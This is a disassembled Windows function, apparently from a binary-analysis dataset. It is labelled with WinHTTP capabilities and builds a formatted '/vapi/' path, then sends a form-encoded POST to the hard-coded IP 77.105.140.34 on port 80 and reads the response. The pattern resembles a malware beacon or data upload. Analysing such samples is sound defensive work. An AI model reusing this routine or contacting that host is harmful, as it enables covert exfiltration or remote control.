Function at 0x408320
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x410556
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x48600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x48], 0
mov dword [ebp - 4], 2
xorps xmm0, xmm0
push 0
movups xmmword [esi], xmm0
push 0x4124f0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.00403470
mov ecx, dword [ebp + 0x30]
mov edi, 0x7fffffff
mov eax, edi
mov dword [ebp - 0x48], 1
sub eax, ecx
cmp eax, 0x25
jb 0x4087f2
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push ecx
cmovae eax, dword [ebp + 0x20]
push eax
push 0x25
push str.pssPoL_JHOt_ddd_155_____:::_e_
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0x68]
call fcn.004076a0
mov ecx, dword [ebp + 0x34]
mov dword [ebp - 0x48], 3
cmp ecx, 0x10
jb 0x4083fa
mov edx, dword [ebp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4083f0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4087c5
push ecx
push edx
call fcn.0040f0fe
add esp, 8
movups xmm1, xmmword [ebp - 0x68]
lea ecx, [ebp + 0x20]
movq xmm0, qword [ebp - 0x58]
movq qword [ebp + 0x30], xmm0
cmp dword [ebp + 0x34], 0x10
movd eax, xmm1
movups xmmword [ebp + 0x20], xmm1
cmovae ecx, eax
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp + 0x18]
sub edi, ecx
cmp edi, 6
jb 0x4087f2
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
push eax
push 6
push str._vapi_
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0x68]
call fcn.004076a0
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x48], 7
cmp ecx, 0x10
jb 0x408486
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40847c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4087c5
push ecx
push edx
call fcn.0040f0fe
add esp, 8
movups xmm0, xmmword [ebp - 0x68]
lea ecx, [ebp + 8]
movups xmmword [ebp + 8], xmm0
movq xmm0, qword [ebp - 0x58]
movq qword [ebp + 0x18], xmm0
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 0x18]
jb 0x4084ab
mov ecx, dword [ebp + 8]
add eax, ecx
jmp 0x4084b0
add eax, ecx
lea ecx, [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00406fe0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov dword [ebp - 0x30], 0
cmovae eax, dword [ebp - 0x2c]
xor edi, edi
push edi
push edi
push edi
push edi
push str.A_WinHTTP_Example_Program_1.0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x38], edi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x4086ac
push edi
push 0x50
push str.77.105.140.34
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x38], eax
test eax, eax
je 0x4086ac
push edi
push edi
push edi
push edi
push dword [ebp - 0x44]
push str.POST
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 0x34], eax
test eax, eax
je 0x4086b3
mov edi, dword [ebp - 0x40]
mov ecx, edi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408540
sub ecx, edx
mov edx, edi
lea eax, [edx + 1]
mov dword [ebp - 0x40], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x408551
sub edx, dword [ebp - 0x40]
push 0
push ecx
push edx
push edi
push 0xffffffffffffffff
push str.content_type:application_x_www_form_urlencoded
push dword [ebp - 0x34]
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov edi, eax
test edi, edi
je 0x4086b0
push 0
push dword [ebp - 0x34]
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov edi, eax
test edi, edi
je 0x4086b0
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x40868a
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x40867c
inc eax
push eax
call fcn.0040f10c
mov esi, eax
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x44], esi
push eax
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x30]
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x4085f9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__u_in_WinHttpReadData._n
call fcn.004082f0
jmp 0x408660
mov edi, esi
lea ecx, [edi + 1]
nop
mov al, byte [edi]
inc edi
test al, al
jne 0x408600
mov edx, dword [ebp - 0x3c]
sub edi, ecx
mov eax, dword [edx + 0x14]
mov ecx, dword [edx + 0x10]
sub eax, ecx
cmp edi, eax
ja 0x408641
cmp dword [edx + 0x14], 0x10
lea eax, [ecx + edi]
mov dword [edx + 0x10], eax
mov eax, edx
jb 0x408628
mov eax, dword [edx]
push edi
push dword [ebp - 0x44]
lea esi, [eax + ecx]
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + edi], 0
add esp, 0xc
mov esi, dword [ebp - 0x44]
jmp 0x408652
push edi
push esi
mov byte [ebp - 0x40], 0
mov ecx, edx
push dword [ebp - 0x40]
push edi
call fcn.00403690
push esi
push 0x4127b8
call fcn.004082f0
mov edi, dword [ebp - 0x34]
add esp, 8
push esi
call fcn.0040ebb6
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x40867c
cmp dword [ebp - 0x30], 0
ja 0x408592
mov esi, dword [ebp - 0x3c]
push edi
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call edi
jmp 0x4086fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__u_in_WinHttpQueryDataAvailable._n
call fcn.004082f0
mov esi, dword [ebp - 0x3c]
add esp, 8
push edi
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call edi
jmp 0x4086fb
xor eax, eax
jmp 0x4086b3
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__d_has_occurred._n
call fcn.004082f0
add esp, 8
test edi, edi
jne 0x4086ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__d_has_occurred._n
call fcn.004082f0
mov eax, dword [ebp - 0x38]
add esp, 8
mov dword [ebp - 0x38], eax
mov edi, dword [ebp - 0x34]
test edi, edi
jne 0x40867f
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [ebp - 0x38]
test eax, eax
je 0x408705
push eax
call edi
mov eax, dword [ebp - 0x4c]
test eax, eax
je 0x40870f
push eax
call edi
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x408749
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40873f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4087c5
push ecx
push edx
call fcn.0040f0fe
add esp, 8
mov ecx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
cmp ecx, 0x10
jb 0x40878d
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x408783
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4087c5
push ecx
push edx
call fcn.0040f0fe
add esp, 8
mov ecx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x4087d5
mov edx, dword [ebp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4087cb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4087cb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040f0fe
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040eba8
mov esp, ebp
pop ebp
ret
call fcn.00401280
int3